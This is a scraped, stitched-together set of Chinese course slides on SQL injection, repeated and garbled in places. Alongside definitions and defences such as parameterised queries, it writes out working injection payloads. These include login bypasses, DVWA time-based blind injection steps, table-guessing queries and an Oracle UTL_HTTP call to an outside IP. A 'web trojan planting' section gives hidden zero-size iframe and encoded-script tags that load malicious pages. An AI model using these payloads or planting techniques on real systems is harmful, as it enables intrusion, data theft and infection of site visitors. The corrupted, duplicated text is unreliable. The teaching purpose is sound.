SQL注入ppt
?
发现漏洞
据统计,网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占 L20%,其他的不足10%。在本文,以SQL-SERVER+ASP例说明SQL注入的原理、 方法与过程,一般来说,SQL注入一般存在于形如 HTTP://xxx.xxx.xxx/abc.asp?id=XX HTTP://xxx.xxx.xxx/abc.asp?id=XX
SQL Data Manipulation Language (DML) 数据操纵语言 • SQL的更新,插入,删除记录语法: • SELECT – 获取数据 • UPDATA – 更新数据 • INSERT INTO – 插入新数据 • DELETE – 删除数据
SQL Data Definition Language (DDL) 数据定义语言 •SQL中的数据定义语言(DDL)允许我们: •创建或删除数据表格 •定义索引 •指定表格之间的关系 •SQL中最常用的DDL语句有: •CREATE TABLE – 创建一个新的数据表 •ALTER TABLE – 修改一个数据表 •DROP TABLE – 删除一个数据表
• 对于一个存在的表格,我们可以这样进行查询:
SELECT LastName SELECT LastName FROM users FROM users WHERE UserID = 1; WHERE UserID = 1;
•返回如下结果:
LastName LastName --------------------------Smith Smith
查询数字的注入方法
$formacct = 1 or 1=1 # $formacct = 1 or 1=1 # $formpin = 1111 $formpin = 1111
最后的查询语句变为这样的:
SELECT **FROM clients SELECT FROM clients WHERE account = 1 or 1=1 WHERE account = 1 or 1=1 # AND pin = 1111 # AND pin = 1111
什么是SQL?
• SQL = Structured Query Language 结构化查询语言 • SQL语言使我们能够访问数据库 • 当前的主流SQL语言是 SQL99 • SQL能够: - 执行对数据库的查询 - 获取数据库的信息 - 向数据库中插入新的记录 - 删除数据库中的记录 - 更新数据库中的记录
什么是SQL注入?
• SQL注入是一种利用用户输入构造SQL语句的攻击。
•如果Web应用没有适当的验证用户输入的信息,攻击者就有 可能改变后台执行的SQL语句的结构。由于程序运行SQL语句 时的权限与当前该组建(例如,数据库服务器、Web应用服务 器、Web服务器等)的权限相同,而这些组件一般的运行权限 都很高,而且经常是以管理员的权限运行,所以攻击者获得数 据库的完全控制,并可能执行系统命令。 •在LDAP注入中同样的高级攻击方法在SQL注入中也适用。
SQL注入的例子
如果提交信息没有经过特殊字符的过滤,我们可以输入 ' OR '1=1
SELECT **FROM user_data WHERE last_name = 'Your Name' SELECT FROM user_data WHERE last_name = 'Your Name'
SELECT **FROM user_data WHERE last_name = ' '' 'OR ' '1=1 ' ' SELECT FROM user_data WHERE last_name = OR 1=1 注意引号,语句结 果无论如何都为真
PHP/MySQL 语法:
$sql = "SELECT **FROM clients WHERE "". . $sql = "SELECT FROM clients WHERE "account = $formacct AND "". . "account = $formacct AND "pin = $formpin"; "pin = $formpin";
SQL注入的例子
这句查询语句的结果是:
SQL注入方法
1)发现漏洞
2)信息收集
3)判断数据库类型
5)获取WEB虚拟目录
4)判断用户权限
6)攻击WEB系统
?
7)获取管理员权限
1) 输入确认
1)发现漏洞 2) 信息收集
3)判断数据库类型 4)判断用户权限
5) OS Interaction 6) OS Cmd Prompt 7) Expand Influence
SQL注入的例子
这是一个网络应用中常见的提交用户信息以查询资料的窗口
在窗口中提交姓名就构成了下列查询语句
SELECT **FROM user_data WHERE last_name = 'Your Name' SELECT FROM user_data WHERE last_name = 'Your Name'
发现漏洞
漏洞可以存在于任何地方, 检查所有可以输入提交的地方: •Web页面上 •URL请求中的脚本参数 •在隐藏区域以及cookie中存储的值 我们尝试插入各种字符: •字符序列 ' " ) # || + > •SQL的保留字以及分隔符 %09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc) •延时请求 ' waitfor delay '0:0:10'--
常见的SQL元字符
‘ or “ 字符串指示符 -- or # 单行注释 /*…*/ 多行注释 + 加号,连接符,或url中的空格 || (双竖线)连接符 % 属性通配符 ?Param1=foo&Param2=bar URL参数 PRINT 不执行的指令 @variable 本地变量 @@variable 全局变量 waitfor delay ‘0:0:10’ 延时
我们应该特注意字符串中的 ‘ 字符 •它充当了查询参数的右闭合符号 •在它之后的任何语句都被认为是SQL命令的一部分 •查询域不一定是字符串,也可能是日期,数字等等
如果查询域是数字?
SELECT **FROM clients SELECT FROM clients WHERE account = 12345678 WHERE account = 12345678 AND pin = 1111 AND pin = 1111
userID Name LasΒιβλιοθήκη Name Login Password
1 2 3
John Adam Daniel
Smith Taylor
jsmith adamt
hello qwerty
Thompson dthompson dthompson
SQL查询
• 利用SQL,我们能够查询数据库并且获得一个返回的结果
等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参 数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一 概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就 有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过 滤,存在SQL注入的可能性就非常大。
SQL注入漏洞的判断
下面我们以HTTP://xxx.xxx.xxx/abc.asp?id=XX 为例介绍如何判断 是否存在SQL注入漏洞 以整形参数为例,通常abc.asp中SQL语句原貌大致如下: select * from 表名 where 字段=YY 可以用以下经典的1=1,1=2测试法测试SQL注入是否存在。
•SQL注入是现今存在最广泛的WEB漏洞之一 •它是存在于WEB应用程序开发中的漏洞,而不是数据库的问题 •大多数程序员对于SQL注入还是不够重视 •现存许多的教程或者模板都存在漏洞 •更糟糕的是,Internet上给出的许多解决方法并不能解决问题 •据调查,超过60%的应用程序存在SQL注入漏洞
2 如何实现SQL注入?
•最简单的登录查询:
SELECT **FROM users SELECT FROM users WHERE login = 'victor' WHERE login = 'victor' AND password = '123' AND password = '123'
•ASP/MS SQL的语法如下:
什么是SQL?
SQL语言有很多不同的版本,他们对相同的关键字有相似的 使用方式: 例如: SELECT, UPDATE, DELETE, INSERT, WHERE 但是,大多数SQL数据库程序都在SQL标准之上有自己独特 的特性!
SQL数据库
• 一个相关数据库包含一个或多个由表名确定的表格.
• 例如,下面是一个名字为”user”的表格,它包含由行和列确定的 数据:
Web Services
Directories
App Server Network Layer Web Server Hardened OS Firewall Firewall
不能使用网络层保护(防火墙,SSL,IDS等)来阻止应用层攻击
Billing
存在漏洞的系统
•几乎所有的SQL数据库以及语言都存在潜在的危险,包括: • MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Infomix …. •以下方式开发的应用程序存在风险: •Perl和CGI脚本且连接到数据库 •ASP,JSP,PHP •XML,XSL和XSQL •Javascript •VB,MFC以及其他的基于ODBC的开发工具和API •……..
合集下载
超炫PPTSQL注入
超炫PPT SQL注入
• SQL注入简介 • SQL注入攻击手段 • 如何防范SQL注入 • SQL注入案例分析 • 总结与展望
01
SQL注入简介
SQL注入的定义
SQL注入是一种利用应用程序对用户 输入验证不严格或未验证的漏洞,向 数据库查询中注入恶意SQL代码,从 而执行非授权操作或窃取敏感数据的 安全攻击手段。
输入验证和清理
1
对用户输入进行验证和清理是防范SQL注入的重 要步骤。
2
对所有用户输入进行验证,确保输入符合预期的 格式和类型,可以排除恶意输入。
3
对用户输入进行清理,如转义特殊字符,可以防 止恶意输入被当作SQL代码执行。
错误处理
01
02
03
错误的错误处理方式可能会暴露 数据库的敏感信息,从而给攻击 者提供更多机会进行SQL注入攻 击。
报错注入
总结词
报错注入是一种利用数据库报错信息来推断 其他数据的技术。
详细描述
攻击者通过向应用程序输入特定的SQL语句 片段,使得应用程序在执行查询时返回数据 库的错误信息。攻击者再通过分析这些错误 信息来推断出数据库中的敏感数据。
03
如何防范SQL注入
参数化查询
参数化查询是一种有效的防止SQL注入的方法。它通过将输入数据与SQL语句分开处理,确保输入数 据被当作数据而不是SQL代码执行。
它通过在用户输入中插入或"注入"恶 意SQL代码,使得原本的查询逻辑被 篡改,进而达到攻击者的目的。
SQL注入的危害
数据泄露
攻击者可以利用SQL注入获取数 据库中的敏感信息,如用户密码、 个人信息等。
数据篡改
攻击者可以修改数据库中的数据, 如篡改用户账号信息、恶意删除 数据等。
• SQL注入简介 • SQL注入攻击手段 • 如何防范SQL注入 • SQL注入案例分析 • 总结与展望
01
SQL注入简介
SQL注入的定义
SQL注入是一种利用应用程序对用户 输入验证不严格或未验证的漏洞,向 数据库查询中注入恶意SQL代码,从 而执行非授权操作或窃取敏感数据的 安全攻击手段。
输入验证和清理
1
对用户输入进行验证和清理是防范SQL注入的重 要步骤。
2
对所有用户输入进行验证,确保输入符合预期的 格式和类型,可以排除恶意输入。
3
对用户输入进行清理,如转义特殊字符,可以防 止恶意输入被当作SQL代码执行。
错误处理
01
02
03
错误的错误处理方式可能会暴露 数据库的敏感信息,从而给攻击 者提供更多机会进行SQL注入攻 击。
报错注入
总结词
报错注入是一种利用数据库报错信息来推断 其他数据的技术。
详细描述
攻击者通过向应用程序输入特定的SQL语句 片段,使得应用程序在执行查询时返回数据 库的错误信息。攻击者再通过分析这些错误 信息来推断出数据库中的敏感数据。
03
如何防范SQL注入
参数化查询
参数化查询是一种有效的防止SQL注入的方法。它通过将输入数据与SQL语句分开处理,确保输入数 据被当作数据而不是SQL代码执行。
它通过在用户输入中插入或"注入"恶 意SQL代码,使得原本的查询逻辑被 篡改,进而达到攻击者的目的。
SQL注入的危害
数据泄露
攻击者可以利用SQL注入获取数 据库中的敏感信息,如用户密码、 个人信息等。
数据篡改
攻击者可以修改数据库中的数据, 如篡改用户账号信息、恶意删除 数据等。
课件:注入和网页挂马
• 一:框架挂马 • <iframe src=地址 width=0 height=0></iframe> • 二:js文件挂马 • 首先将以下代码 • document.write("<iframe width='0' height='0' src='地址'></iframe>"); • 保存为xxx.js, • 则JS挂马代码为 • <script language=javascript src=xxx.js></script> • 三:js变形加密 • <SCRIPT language="JScript.Encode" src=/muma.txt></script> • muma.txt可改成任意后缀
• 2.3 网页挂马演示举例
• 2.3.1 图片伪装演示 • <html> • 1 <iframe src="欺骗网页.html" height=0 width=0></iframe> • 2 <img src="m12.jpg" /> • </html> • 2处:正常的网页内容 • 1处:在iframe标签中,我们嵌入了一个欺骗网页,这个网页
• 八:图片伪装
• <html> • <iframe src="网马地址" height=0 width=0></iframe> • <img src="图片地址"></img>
• </html> • 九:伪装调用:
数据库应用与安全管理课件3.3.1 了解SQL注入攻击-SQL注入(时间盲注)案例1
• 修改substr函数的第二个参数,如substr(database(),2,1)进行测 试,可以获得数据库的第二个字母。
• 最后,获得整个数据库的名称为dvwa。
SQL注入(时间盲注) (实例1)
• 6.猜解数据库表的数量。
• 1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#
• 1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))<117,sleep(5),1) # //没有延迟
• 第一字段间盲注) (实例1)
• 5.二分法猜解数据库名。
• 1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# //明显延迟 • …… • 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# //没有延迟 • 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# //没有延迟
• 说明是基于字符的时间盲注。
SQL注入(时间盲注) (实例1)
• 4.猜解数据库名的长度。
• 1' and if(length(database())=1,sleep(5),1) # • ………… • 1' and if(length(database())=4,sleep(5),1) #
• 最后,获得整个数据库的名称为dvwa。
SQL注入(时间盲注) (实例1)
• 6.猜解数据库表的数量。
• 1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#
• 1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))<117,sleep(5),1) # //没有延迟
• 第一字段间盲注) (实例1)
• 5.二分法猜解数据库名。
• 1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# //明显延迟 • …… • 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# //没有延迟 • 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# //没有延迟
• 说明是基于字符的时间盲注。
SQL注入(时间盲注) (实例1)
• 4.猜解数据库名的长度。
• 1' and if(length(database())=1,sleep(5),1) # • ………… • 1' and if(length(database())=4,sleep(5),1) #
超炫1 SQL注入ppt课件
精品课件
8
SQL注入攻击的过程
1、SQL注入漏洞的判断 2、分析数据库服务器类型 3、确定可执行情况 4、发现WEB虚拟目录 5、上传ASP木马 6、得到系统的管理员权限
精品课件
9
1、SQL注入漏洞的判断
一 般 来 说 , SQL 注 入 一 般 存 在 于 形 如 : HTTP://xxx.xxx.xxx/abc.asp?id=XX 等 带 有 参数的ASP动态网页中。 只要是带有参数的动态网页且此网页访问了数 据库,那么就有可能存在SQL注入。如果ASP
SQL注入(SQL Injection)漏洞攻击是目前网上最流行最热门的黑客脚本攻击方法之一,那什 么是SQL注入漏洞攻击呢?
精品课件
2
目录
1
SQL注入攻击 的简介
2
3
4
SQL注入式攻 击的原理
SQL注入攻击 的过程
SQL注入攻击 的防范
精品课件
3
PART.1
SQL注入攻击的简介
精品课件
4
SQL注入攻击的简介
什么是SQL注入攻击? SQL注入攻击是攻击者通过把SQL命令插入到Web表单递 交或输入域名或页面请求的查询字符串,最终达到欺骗服务 器执行恶意的SQL命令。
精品课件
5
PART.2
SQL注入式攻击的原理
精品课件
6
SQL注入式攻击的原理
SQL(Structured Query Language)是一 种用来和数据库交互的语言文本。
SQL 注 入 的 攻 击 原 理 就 是 攻 击 者 通 过 Web 应用程序利用SQL语句或字符串将非法的数据插 入到服务器端数据库中,获取数据库的管理用户 权限,然后将数据库管理用户权限提升至操作系 统管理用户权限,控制服务器操作系统,获取重 要信息及机密文件。
SQL注入
SQL注入简介
概述
• SQL注入是一种将恶意的SQL代码插入或添 加到应用(用户)的输入参数的攻击,攻击 者探测出开发者编程过程中的漏洞,利用这 些漏洞,巧妙的构造SQL语句,对数据库系 统的内容进行直接检索或修改。
©2011 BOCO Inter-Telecom Co. All rights reserved.
• and 0<(select count(*) from admin) • and 1<(select count(*) from admin) • 如果遇到0< 返回正确页面 1<返回错误页面 说明帐号数目就是1个
©2011 BOCO Inter-Telecom Co. All rights reserved.
©2011 BOCO Inter-Telecom Co. All rights reserved.
5
SQL注入流程
• 判断数据库类型
• 根据网页返回的错误提示判断
©2011 BOCO Inter-Telecom Co. All rights reserved.
6
SQL注入流程
• 猜测表名 • 一般的表的名称无非是admin adminuser user pass password 等
• IE菜单=>工具=>Internet选项=>高级=> 显示友好 HTTP 错误信息前面的勾去掉
©2011 BOCO Inter-Telecom Co. All rights reserved.
4
SQL注入流程
• 1、/a.asp?id=1 2、/a.asp?id=1 and 1=1 3、/a.asp?id=1 and 1=2 • 如果2显示正常则可以注入 • 如果2显示错误则不能注入
概述
• SQL注入是一种将恶意的SQL代码插入或添 加到应用(用户)的输入参数的攻击,攻击 者探测出开发者编程过程中的漏洞,利用这 些漏洞,巧妙的构造SQL语句,对数据库系 统的内容进行直接检索或修改。
©2011 BOCO Inter-Telecom Co. All rights reserved.
• and 0<(select count(*) from admin) • and 1<(select count(*) from admin) • 如果遇到0< 返回正确页面 1<返回错误页面 说明帐号数目就是1个
©2011 BOCO Inter-Telecom Co. All rights reserved.
©2011 BOCO Inter-Telecom Co. All rights reserved.
5
SQL注入流程
• 判断数据库类型
• 根据网页返回的错误提示判断
©2011 BOCO Inter-Telecom Co. All rights reserved.
6
SQL注入流程
• 猜测表名 • 一般的表的名称无非是admin adminuser user pass password 等
• IE菜单=>工具=>Internet选项=>高级=> 显示友好 HTTP 错误信息前面的勾去掉
©2011 BOCO Inter-Telecom Co. All rights reserved.
4
SQL注入流程
• 1、/a.asp?id=1 2、/a.asp?id=1 and 1=1 3、/a.asp?id=1 and 1=2 • 如果2显示正常则可以注入 • 如果2显示错误则不能注入
SQL注入简介及攻击过程ppt课件
SQL注入简介及 攻击过程
内容概要
‣ SQL注入的定义及历史 ‣ SQL注入产生的原因
‣ SQL注入的分类
‣ SQL注入的过程 ‣ SQL注入的防御
‣ SQL注入实例
什么是SQL注入
SQL注入是这样一种漏洞:应用程序在向后台数据库传递SQL查询时,如果为攻击者提 供了影响该查询的能力,就会引发SQL注入。
SQL注入的分类
手工注入、工具注入 GET注入: http://localhost/product.php?id=123 POST注入: <form method="post" action="product.php"></form>
COOKIE注入: javascript:alert(document.cookie="id="+escape(“123"));
利用BENCHMARK()函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长; 通过时间长短的变化,可以判断出注入语句是否执行成功。 例如: id=1170 UNION SELECGT IF (SUBSTRING(current,1,1)=CHAR(119), BENCHMARK(500000,ENCODE(„MSG‟,‟by 5 sec‟)),null) FROM (Select Database() as current ) as tb1;
SQL注入产生的原因
1、输入 admin 123 SQL: SELECT id FROM user WHERE username = „admin‟ AND password = „123‟; 2、输入 „ or 1=1 -SQL: SELECT id FROM user WHERE username = „ ‟ or 1=1 -- ‟ AND password = „‟;
内容概要
‣ SQL注入的定义及历史 ‣ SQL注入产生的原因
‣ SQL注入的分类
‣ SQL注入的过程 ‣ SQL注入的防御
‣ SQL注入实例
什么是SQL注入
SQL注入是这样一种漏洞:应用程序在向后台数据库传递SQL查询时,如果为攻击者提 供了影响该查询的能力,就会引发SQL注入。
SQL注入的分类
手工注入、工具注入 GET注入: http://localhost/product.php?id=123 POST注入: <form method="post" action="product.php"></form>
COOKIE注入: javascript:alert(document.cookie="id="+escape(“123"));
利用BENCHMARK()函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长; 通过时间长短的变化,可以判断出注入语句是否执行成功。 例如: id=1170 UNION SELECGT IF (SUBSTRING(current,1,1)=CHAR(119), BENCHMARK(500000,ENCODE(„MSG‟,‟by 5 sec‟)),null) FROM (Select Database() as current ) as tb1;
SQL注入产生的原因
1、输入 admin 123 SQL: SELECT id FROM user WHERE username = „admin‟ AND password = „123‟; 2、输入 „ or 1=1 -SQL: SELECT id FROM user WHERE username = „ ‟ or 1=1 -- ‟ AND password = „‟;
SQL注入的原理及防范ppt课件
二、登录验证不足
• 当确认有机会进行注入的时候, 可以在输入框中加入or语句,这样 可能会有意外的收获。 • Admin’ or 3>2 or ‘ ,这就是我们 需要在文本框中输入的内容,这样 能达到什么效果呢? • 下面,通过一个网页来测试:
二、登录验证不足
• 先来看login.asp文件 以下内容为程序代码:
一、SQL注入简介
• 但是,SQL注入的手法相当灵活, 在注入的时候会碰到很多意外的情 况。必须根据具体情况进行分析, 构造巧妙的SQL语句,从而成功获 取想要的数据。
二、登录验证不足
• 找到登陆页面,在其登陆ID与 密码输入处 • 测试这些缺陷是否存在,首先 加入某些特殊的字符标记,输入 如:‘、and……之类的SQL标记。 如果没有进行检测,而直接运行 SQL语句,说明有机会进行注入。
二、登录验证不足
• 防范方法 • (2)过滤loging.asp文件本身验证的逻辑就是错误的, 应该修改为:…… sql="select * from user where name='"&name&"'" rs.open sql,conn_data,1,1 '身份验证过程 if not rs.eof then if pwd=rs("pwd") then session("login")="ok" response.redirect "/default.asp" else response.redirect "login.asp" ……
二、登录验证不足
• 防范方法 • (3)用不同的用户帐户执行查询、插入、更新、 删除操作。 • (4)通过数据库设置特定的存储过程,只允许特 定的存储过程执行,所有的用户输入必须遵从被 调用的存储过程的安全上下文, • (5)限制表单或查询字符串输入的长度。大大 增加攻击者在SQL命令中插入有害代码的难度。 • (6)检查提取数据的查询所返回的记录数量(=1)。 • (7)将超级管理员帐号置于第2条记录之后!
sql注入演示
2、盲注
除非运维人员疏忽,否则大部分的Web运营网站应该都关闭了错误 提示信息,此时攻击者一般会采用盲注的技巧来进行反复的尝试判 断。 若: 001’ and (1=1)可以登录 001’ and (1=2)不可以登录 说明存在SQL注入漏洞。
徐豪 2015-12-01
如何利用错误提示
可获得信息:
浅谈SQL注入
山东大学软件学院
徐豪 2015-12-01
什么是SQL注入
所谓SQL注入,就是通过把SQL命令插入到 Web表单提交,最终达到欺骗服务器执行恶意 的SQL命令。
徐豪 2015-12-01
一个小小的实验
实验环境: oracle9i数据库 JSP写的网页 Firefox浏览器 eclipse
过滤特殊符号
数据库信息加密安全
登录验证码
徐豪 2015-12-01
Thank you!
徐豪 2015-12-01
1.Oracle数据库 2.该网站没有对用户的输入做处理 3.数据库中有customer这张表 4.customer这张表中没有username这个属性。
徐豪 2015-12-01
如何利用盲注
正常登陆 徐豪 2015-12-01
这样可以利用(1=2这个布尔型变量判断数据库中是否 有某个表或是某个字段)
只知道用户名,但不知道密码
拼接后语句: select password from CUSTOMER where CUSTOMERID=‘001’and (1=1)— ‘ and password = ‘’
成功登录 徐豪 2015-12-01
如何确定SQL注入漏洞
SQL 注入攻击ppt课件
• 调用Oracle数据库函数的注入方式如下:
SELECT TRANSLATE(''||UTL_HTTP.REQUEST (‘http://202.114.1.86/’) || '', 'uf', 'ar' ) FROM dual;
——改变的SQL语句可以向一个WEB服务器请求一个页面。
2. SQL注入攻击的分类?
• 从一个数据库获得未经授权的访问和直接检索;
利用SQL语法,针对应用程序开发者编程中的 漏洞,往应用程序中插入一些SQL语句,从而 能够操作不可访问的数据的方法。
• 通过在应用程序中预先定义好的查询语句结尾加 上额外的SQL语句元素,使得数据库服务器执行 非授权的查询。
1. 什么是SQL注入攻击? —— 一个实例
1. 什么是SQL注入攻击? —— 一个实例
攻击方法:
• 在用户名框输入:zhuhong
• 在密码框输入:'or '1' = '1
• 后台应用程序组装的SQL语句是: select * from user_table where username = 'zhuhong' and password = '' or '1' = '1' ;
——这个语句的执行结果是什么?
1. 什么是SQL注入攻击?
实质:
• 在一个有漏洞的网络应用程序中,允许用户输入 查询条件,并将查询条件嵌入到SQL请求语句中, 发送到与该应用程序相关联的数据库服务器中去 执行。
• 攻击者通过构造一些畸形的输入,实现操作这种
请求语句去获取未知的结果。
